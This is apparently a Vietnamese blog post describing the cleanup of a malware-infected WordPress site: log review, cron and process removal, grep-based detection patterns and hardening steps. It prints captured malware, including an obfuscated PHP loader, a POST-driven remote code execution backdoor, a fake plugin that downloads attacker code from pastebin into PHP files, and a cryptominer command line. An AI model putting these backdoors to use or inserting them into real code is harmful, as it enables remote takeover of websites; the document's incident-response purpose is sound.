Ngăn Chặn Các Cuộc Tấn Công Malware WordPress Lây Lan

Tác giả: manhtuong.net

 

Thay Đổi Đường Dẫn wp-admin

Tôi nhận thấy nhiều chuyển hướng 302 trong khi truy cập trang / wp-admin.
Và vì lý do trên, chúng tôi không thể truy cập phần quản trị của webisite wordpress của chúng tôi.

Thay đổi quyền của file .htaccess

Tôi đã điều tra vấn đề và điều đầu tiên xuất hiện trong đầu tôi là  tậptin .htaccess . Tôi đã chỉnh sửa nó và được biết rằng nội dung của nó đã được sửa đổi mặc dù quyền của tập tin là 444.

Tệp và thư mục không xác định

Ngoài ra tôi nhận thấy một số tập tin và thư mục không xác định được tạo ra.
Hầu hết các tệp có  phần mở rộng .php.suspected .

Tôi cũng đã xem xét các vị trí máy chủ lưu trữ thông qua SSH và tìm thấy gần 2000 tệp stylewpp.php bên ngoài thư mục / public_html. stylewpp.phpchứa mã php độc hại.

Bài viết ngẫu nhiên trong WP POST

Chúng tôi đã tìm thấy các bài viết ngẫu nhiên được chèn vào WP DB của chúng tôi.

Người dùng quản trị ngẫu nhiên

Tôi đã kiểm tra bảng quản trị và tôi tìm thấy 2 người dùng quản trị viên không xác định chưa được tạo bởi bất kỳ người dùng nào. Id người dùng là 0.

Trong trường hợp này, tôi đã cố gắng để có được nguyên nhân gốc rễ của vấn đề

Các bước thực hiện để ngăn ngừa nhiễm phần mềm độc hại:

  1. Khôi phục tệp .htaccess và đặt quyền 444
    Vì tôi cần quyền truy cập vào bảng quản trị để điều tra thêm, tôi đã khôi phục tệp .htaccess của chúng tôi để làm cho wp-admin hoạt động trở lại.
  2. Kiểm tra tab cron cho bất kỳ mục nhập thẻ cron đáng ngờ nào
    Vì tôi tìm thấy gần 2000 tệp stylewpp.php bên ngoài thư mục public_html và một stylewpp.php trong cài đặt WP gốc của chúng tôi, tôi đã cố gắng loại bỏ tất cả chúng bằng cách sử dụng lệnh terminal.
    rm -rf stylewpp. *. *
    Nhưng Nhưng nó đã được tái tạo lại nhiều lần.
    Vì vậy, tôi đã kiểm tra tab cron và tìm thấy mục sau.
1*1Og-NfedrQk_wkiWBXCAtw

Tôi đã xóa mục nhập trên thẻ cron ngay từ đầu và sau đó tôi đã tìm kiếm tất cả các tệp stylewpp.php trong toàn bộ máy chủ và xóa tất cả chúng cùng một lúc. Sau khi xóa, nó dừng tạo lại các tập tin đó.

      3. Tiêu diệt các quy trình đáng ngờ trên máy chủ
Tôi tìm thấy 2 quy trình độc hại trên máy chủ và tiêu diệt chúng bằng quy trình id.

500 56861 0,0 0,2 222180 10936? S Sep23 0:00 / usr / bin / php /public_html/stylewpp.php
500 56885 198 0.1 69408 8028? Sl Sep23 5940: 27 ./cnrig -a cryptonight --donate-level 1 --max-cpu-use 50 -o xmr.pool.minergate.com:45700 -u 4635633@mail.ru -px --variant 1 -

  4. Kiểm tra nhật ký truy cập và tìm các cuộc gọi http đáng ngờ.

1*ClEX-q6KOzK5exqrpSEC5g

1*8gElJAbsQe33OzJS-x5cfQ

1*KCXY3XyDbSuf5uQ473WKSQ

1*KCXY3XyDbSuf5uQ473WKSQ

1*Rtgd7HW5ZBEVtRKMPMbK4g

Từ nhật ký truy cập ở trên, tôi thấy các yêu cầu HTTP đáng ngờ được thực hiện từ các IP ngẫu nhiên.

Từ url, tôi đã theo dõi các vị trí thư mục phần mềm độc hại.
1. bozzowi3j
2. jieush2if
3. tyoinvur

Vị trí tệp:
Tôi tìm thấy các tệp sau được tạo / sửa đổi trong thư mục gốc.
1. jieush2if.zip
2. xmlrpc.php
3. index.php

Tôi cũng tìm thấy sau 4 tập tin được tiêm vào tất cả các thư mục của WP.
1. .htaccess
2. index.php
3. 405.php
4.406.php

5. Chặn các IP đáng ngờ 

Sau khi kiểm tra nhật ký truy cập, hãy chặn các ips đang thực hiện các cuộc gọi HTTP đến các tập lệnh độc hại.

6. Xóa các tệp và thư mục không xác định bằng xóa tầng [Nghi ngờ từ nhật ký truy cập]

    • Tôi đã xóa tất cả các tệp và thư mục không xác định đã bị nghi ngờ khỏi các vị trí url HTTP khỏi máy chủ.
    • Đã xóa 405.php, 406.php khỏi các thư mục WP khác nhau và sau đó khôi phục các tệp gốc từ bản sao lưu.
    • Cùng với đó tôi chạy lệnh sau để biết tập tin nào đã được sửa đổi kể từ 4 ngày qua. Tôi nhìn vào từng người trong số họ và quyết định có nên xóa chúng hay không. Chủ yếu là tôi khôi phục các tập tin cốt lõi từ sao lưu và loại bỏ các tập tin không xác định.
find ./ -type f -mtime -4
    • Xóa tất cả các tệp index.php bằng lệnh này:
find -name index.php -exec rm -rf {} \;
    • Tìm kiếm các tập tin biểu tượng với lệnh sau.
find -name "*.ico"

Nếu bạn thấy một loạt các tập tin biểu tượng lạ bắt đầu bằng một. và có một chuỗi ngẫu nhiên, chúng là các tệp php. Tôi chỉ cần loại bỏ tất cả các tập tin ico.

Nếu bạn muốn giữ các tệp biểu tượng của mình, chỉ cần xóa thủ công những tệp đáng ngờ bằng ftp.

Ngoài ra còn có các tệp khác ngoài .ico có liên quan đến vụ hack này. Một cách dễ dàng để xác định phần mở rộng nào họ đang sử dụng là mở một trong các tệp index.php bị hack của bạn và sao chép dòng văn bản này:

<?php
include 'publ\151c_ht\155l/wp\055incl\165des/\122eque\163ts/A\165th/.\0619a92\071b9.i\143o';

Nó sẽ cho bạn biết tập tin độc hại nào được trỏ đến. Sử dụng thông tin đó để xóa tất cả các tệp thuộc loại đó bằng lệnh SSH ở trên nhưng đối với phần mở rộng độc hại thay vì .ico.

    • Trên trang web của tôi, tất cả chúng đều là các tệp php với 8 tên ký tự az. Giống như dkelfesa.php hoặc một cái gì đó. Sử dụng regex này để tìm các tệp php 8 ký tự :
find . -type f | egrep './[a-z]{8}\.php'

Thông thường, cái tên sẽ không có ý nghĩa gì. Nếu bạn mở chúng và thấy một loạt mã php mà bạn không thể đọc, thì chúng là độc hại. (Hầu hết chúng sẽ ở định dạng được mã hóa hexcode / base64)

    • Tìm kiếm thẻ <? Php trong tất cả các bảng của cơ sở dữ liệu.
<?php

Chạy một tìm kiếm cơ sở dữ liệu cho thẻ php ở trên và xem tất cả các kết quả cho mã độc trên trang web của bạn trong các nút hoặc khối nội dung. Xóa bất kỳ mã nào bạn không thể dễ dàng đọc được.

find . -type f -name '*.php' | xargs grep -l " *=PHP_VERSION *" 
find . -type f -name '*.php' | xargs grep -l " *Phar::interceptFileFuncs() *"
find . -type f -name '*.php' | xargs grep -l " *@include *" 
find . -type f -name '*.php' | xargs grep -l " *interceptFileFuncs *"
find . -type f -name '*.php' | xargs grep -l " *eval *( *gzinflate *( *base64_decode *( *"
find . -name "*.php" -exec grep -H "eval(" {} \;
find . -type f -name '*.php' | xargs grep -l "eval *("
find . -type f -name '*.php' | xargs grep -l " *base64_decode *"
find . -type f -name '*.php' | xargs grep -l " *function *wscandir *"
find . -type f -name '*.php' | xargs grep -l " *HTTP/1.0 *404 *Not *Found *"
find . -type f -name '*.php' | xargs grep -l " *@gzuncompress *" 
find . -type f -name '*.php' | xargs grep -l " *Array *( *) *; *global *" 
find . -type f -name '*.php' | xargs grep -l " *@unserialize *"

7. Kiểm tra tính toàn vẹn của tệp
Hầu hết các tệp WordPress cốt lõi không bao giờ được sửa đổi.
Cách nhanh nhất để xác nhận tính toàn vẹn của các tệp cốt lõi WordPress của bạn là sử dụng lệnh diff trong terminal. Nếu bạn không thoải mái khi sử dụng dòng lệnh, bạn có thể kiểm tra thủ công các tệp của mình thông qua SFTP.

8. Phân tích mã php độc hại
Sẽ thật tuyệt nếu bạn có thể phân tích tập lệnh php độc hại và giải mã cường độ của chúng, điều này sẽ giúp bạn loại bỏ lây nhiễm dễ dàng.

Tôi đã kiểm tra root index.php và tôi tìm thấy đoạn mã sau được chèn lên trên.
Tôi không thể hiểu ý nghĩa của nó vì hầu hết các mã đều ở định dạng hexcode.

<php
$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();
@require('wp-admin/A5');
$O_00_0OO_O='10196';
$O0O_O__0O0='1';
$O___OOO000='1';
$OO_0O_00O_=("t1j7n80g4hbcesydpvxuimkf6_olz2a5q-w93r");$O0_00O_OO_=$OO_0O_00O_{16}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_0O_00O_{7}.$OO_0O_00O_{25}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_0O_00O_{16}.$OO_0O_00O_{27}.$OO_0O_00O_{30}.$OO_0O_00O_{11}.$OO_0O_00O_{12}.$OO_0O_00O_{25}.$OO_0O_00O_{11}.$OO_0O_00O_{30}.$OO_0O_00O_{27}.$OO_0O_00O_{27}.$OO_0O_00O_{10}.$OO_0O_00O_{30}.$OO_0O_00O_{11}.$OO_0O_00O_{22};$OO00_O0__O=$OO_0O_00O_{13}.$OO_0O_00O_{0}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_0O_00O_{30}.$OO_0O_00O_{21}.$OO_0O_00O_{25}.$OO_0O_00O_{13}.$OO_0O_00O_{26}.$OO_0O_00O_{11}.$OO_0O_00O_{22}.$OO_0O_00O_{12}.$OO_0O_00O_{0}.$OO_0O_00O_{25}.$OO_0O_00O_{11}.$OO_0O_00O_{27}.$OO_0O_00O_{20}.$OO_0O_00O_{12}.$OO_0O_00O_{4}.$OO_0O_00O_{0};$OO0_0__O0O=$OO_0O_00O_{13}.$OO_0O_00O_{0}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_0O_00O_{30}.$OO_0O_00O_{21}.$OO_0O_00O_{25}.$OO_0O_00O_{7}.$OO_0O_00O_{12}.$OO_0O_00O_{0}.$OO_0O_00O_{25}.$OO_0O_00O_{21}.$OO_0O_00O_{12}.$OO_0O_00O_{0}.$OO_0O_00O_{30}.$OO_0O_00O_{25}.$OO_0O_00O_{15}.$OO_0O_00O_{30}.$OO_0O_00O_{0}.$OO_0O_00O_{30};$O_O_0_00OO=$OO_0O_00O_{13}.$OO_0O_00O_{0}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_

Trong các tệp index.php được injection khác, tôi tìm thấy khối mã sau.

<?php
include 'publ\151c_ht\155l/wp\055incl\165des/\122eque\163ts/A\165th/.\0619a92\071b9.i\143o';

Tôi đã giải mã hexcode trên bằng một số công cụ trực tuyến kết quả:

<?php 
include 'public_html/wp-includes/Requests/Auth/.19a929b9.ico'; 
?>

Vì vậy, tôi đã nhận được vị trí tệp phần mềm độc hại là hình ảnh .ico trong đó php đã được chèn vào thẻ meta của nó. Tôi đã xóa tập tin đó.

Trong 405.php, tôi đã tìm thấy mã khối sau đây giúp thực thi mã php từ xa.

<?php 
error_reporting(E_ERROR);set_time_limit(0);
if(isset($_POST['880051156510591875071'])){
 $tofile='407.php';
 $a =base64_decode(strtr($_POST['880051156510591875071'], '-_,', '+/=')); 
 $a='<?php '.$a.'?>';
 @file_put_contents($tofile,$a);
 require_once('407.php');
 @unlink($tofile);
 exit;}
?>

Sau khi xóa các tập tin trên, nhiễm phần mềm độc hại đã dừng lại tới 80%.
Nhưng trong mỗi ngày, tôi nhận được các tập tin được tạo ra tại một thời điểm cụ thể.

1. wp-load-5ba4acb3dcd415ba4acb3dcdc6.php
2. wp-settings-5ba4acb0b6fbb5ba4acb0b7027

Tôi đã dành rất nhiều thời gian để nghiên cứu tương tự và cuối cùng tôi đã tìm ra nguyên nhân của vấn đề này.

Tôi đã kiểm tra nhật ký truy cập với tên tập tin ở trên và tìm thấy sau đây.

185.183.96.159 - - [25/Sep/2018:03:15:45 +0100] "GET /?key=uploadUpdate&url=key=uploadUpdate&url=https%3A%2F%2Fpastebin.com%2Fraw%2FsYtyF6ag&file_name=wp-settings-5bac3e81089ad5bac3e8108a05
 HTTP/1.1" 200 53523 "http://mydomain.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36"
185.183.96.159 - - [25/Sep/2018:03:15:45 +0100] "POST /wp-settings-5bac3e81089ad5bac3e8108a05.php HTTP/1.1" 200 7499 "http://mydomain.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36"

Vui lòng xem xét các tham số truy vấn dưới đây.

key=uploadUpdate&url=https%3A%2F%2Fpastebin.com%2Fraw%2FsYtyF6ag&file_name=wp-settings-5bac3e81089ad5bac3e8108a05

Vì vậy, tôi thực hiện trên chuỗi truy vấn url như

http://mydomain.com/ key = uploadUpdate & url = https% 3A% 2F% 2Fpastebin.com% 2Fraw% 2FGz6SJVve & file_name = wp-load-5ba454512abf15ba454512ac3b

Và nó đã tạo tập tin wp-settings-5bac3e81089ad5bac3e8108a05 .php trong thư mục WP gốc. Tôi khá ngạc nhiên khi thấy việc tạo tập tin ở trên.

Sau đó, tôi đã tìm kiếm cho khóa sử dụng lệnh “ grep -r‘uploadUpdate’* ” và nhận được mã trong wp-content/ plugins/aksimet/index.php
tôi cũng đã cố gắng để khai thác lỗ hổng này bằng cách tạo ra các file khác nhau.

Tôi tìm thấy một plugin đáng ngờ có tên là aksimet chỉ chứa một tệp index.php với khối mã sau.

add_action('init', 'wordpress_download');
function wordpress_download(){
if($_GET['key']=='uploadUpdate'){
function wordpress_file_func($path, $data){file_put_contents($path, '<?php /*'.uniqid().'*/ ?>'.$data);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_TIMEOUT,60);
$data = curl_exec($ch);
$dsdsvxz = $data.''
wordpress_file_func($_SERVER["DOCUMENT_ROOT"].'/'.$_GET['file_name'].'.php', $dsdsvxz);
}
}

 

Trong khối mã ở trên, plugin này cho phép trang web wordpress lấy tham số là key = uploadUpdate, url = nội dung php độc hại và file_name làm chuỗi tên tệp.
Vì vậy, tôi vừa gỡ bỏ plugin đó và nó đã ngừng tạo các tập tin php độc hại wp-settings & wp-load.

 

9. Ngăn chặn việc tạo bài viết ngẫu nhiên
Tôi đã tìm thấy tập tin nội dung-main.php. Tập tin mã độc được thực thi bởi botnet phần mềm độc hại từ accesslog. Nó đã có mặt trong đường dẫn /wp-content/content-main.php.
Tôi chỉ chia sẻ một phần của khối mã chịu trách nhiệm cho việc tạo bài đăng ngẫu nhiên như vậy. Tôi chỉ cần loại bỏ nó và nó dừng tạo bài ngẫu nhiên.

if (array_key_exists ('article', $_REQUEST))
{
$load_path = get_load_path ();
require_once ($load_path);
print "#loaded wp-load#\n";
list ($content, $title) = get_article ();
$post_id = wp_insert_post (
array(
'post_title' => $title,
'post_content' => $content,
'post_status' => 'publish',
'post_date' => date('Y-m-d H:i:s'),
'post_author' => get_admin_id (),
'post_type' => 'post',
'post_category' => array(0)
)
);
if ($post_id)
{
$link = get_permalink($post_id);
print "#Created post_id: !$post_id!$link!#\n";
}
else
{
print "#Unable to create new post#\n";
}
}
echo "#Failed: $post_link#\n";}}?>

10. Xóa người dùng quản trị đáng ngờ

Tôi tìm thấy 2 người dùng quản trị đáng ngờ đang được tạo trong danh sách người dùng và tôi vừa xóa họ.

11. Cập nhật wordpress lên phiên bản mới nhất
Bạn phải cập nhật phiên bản wordpress hiện có lên phiên bản mới nhất để nhận sửa lỗi trên bất kỳ chức năng WP cốt lõi nào. Cùng với đó, bạn cũng cần cập nhật các chủ đề và plugin hiện có vì chủ đề / plugin có thể có lỗ hổng.

 

12. Thay đổi tất cả thông tin đăng nhập
Bạn cần thay đổi mật khẩu cpanel, FTP & DB.
Tất cả người dùng quản trị cũng cần thay đổi mật khẩu của họ.

 

13. Dừng brute force
Ngay cả khi bạn sẽ xóa tất cả các tệp, thư mục, tiêu diệt tất cả các quy trình phần mềm độc hại và thay đổi mật khẩu, phần mềm độc hại sẽ không bao giờ đứng yên. Bởi vì nó đã nhập tên miền trang web của bạn, vị trí tệp ip & phần mềm độc hại trong cơ sở dữ liệu của nó.
Vì vậy, nó sẽ cố gắng thực hiện các cuộc gọi HTTP liên tục đến các vị trí tập lệnh php không ổn định sẽ trả về lỗi 404. Bạn cũng không thể chặn tất cả IP của botnet phần mềm độc hại vì nó liên tục thay đổi IP.
Nó cố gắng trang bruteforce với tên người dùng và mật khẩu ngẫu nhiên hoặc theo list

1*RjBQQx36Gyu-LQ_FwShC7Q

Vì vậy, chúng ta cần phải chặn các yêu cầu như vậy.  Chúng tôi cần cài đặt plugin bảo mật đáng tin cậy sẽ làm điều đó cho chúng tôi với giám sát lưu lượng trực tiếp.

14. Chặn xmlrpc
XML-RPC là một cuộc gọi thủ tục từ xa sử dụng XML để mã hóa các cuộc gọi và HTTP làm cơ chế vận chuyển. Nói tóm lại, nó là một hệ thống cho phép bạn đăng bài trên blog WordPress của mình bằng các ứng dụng khách weblog phổ biến như Windows Live Writer.

Cập nhật một trang web với một lệnh duy nhất được kích hoạt từ xa. Nghe có vẻ tuyệt vời. Nhưng ngay sau đó, rõ ràng là XML-RPC sẽ bị lạm dụng bởi tin tặc, tập lệnh, bot. Theo cách này, chức năng XML-RPC (Cuộc gọi thủ tục từ xa XML) trong WordPress đã trở thành một cửa hậu cho bất kỳ ai đang cố gắng khai thác cài đặt WordPress. Trong hầu hết các trường hợp, nó dẫn đến các cuộc tấn công DDoS XML-RPC .
Vô hiệu hóa xmlrpc.php bằng cách sử dụng .htaccess với khối mã sau.

# BEGIN protect xmlrpc.php
<files xmlrpc.php>
order allow,deny
deny from all
</files>
# END protect xmlrpc.php

 

15. Sử dụng SFTP thay vì FTP
SFTP là một hình thức bảo mật của lệnh FTP. Bất cứ khi nào người dùng mở một phiên ftp thông thường hoặc hầu hết các kết nối TCP / IP khác, toàn bộ truyền được thực hiện giữa máy chủ và người dùng được gửi bằng văn bản thuần túy. Bất cứ ai có khả năng rình mò các gói mạng đều có thể đọc dữ liệu, bao gồm thông tin mật khẩu. Nếu người dùng trái phép có thể đăng nhập, họ có cơ hội thỏa hiệp hệ thống.

 

16. Thay đổi các url wp-login, wp-admin, wp-content
mặc định Sẽ tốt hơn nếu thay đổi các url vị trí mặc định này để các botnet phần mềm độc hại không thể đoán trước được
Có rất nhiều plugin WP mà bạn có thể sử dụng để thay đổi url wp-login, wp-admin, wp-content, plugin url.

 

17 Thêm quyền tập tin và thư mục thích hợp.

Sử dụng lệnh sau để thêm 755 vào thư mục và 644 vào tệp.

chmod -R u+rwX,go+rX,go-w /path

Hoặc là

find . -type d -exec chmod 755 {} \;
find . -type f -exec chmod 644 {} \;

 

19. Kiểm tra các lỗ hổng đã biết trong các plugin đã cài đặt hiện có. 

Tôi đã kiểm tra từng plugin cho mọi lỗ hổng đã biết và các tệp đáng ngờ.
Cuối cùng tôi đã tìm thấy shell php bên trong thư mục tải lên của plugin Slider Revolution, có vẻ như là một tệp tải lên từ xa và thực thi lỗ hổng bảo mật.

Tôi tìm thấy shell php đã tải lên từ đường dẫn tệp sau và loại bỏ nó.
Ngoài ra tôi đã phải cập nhật các plugin.

/wp-content/uploads/revslider/templates/techco-menu/wp-rewrite.php

Bạn có thể nhận được nội dung giải mã của php shell từ đây https://www.unphp.net/decode/4a3063bfce5d2135386de42a697733d9/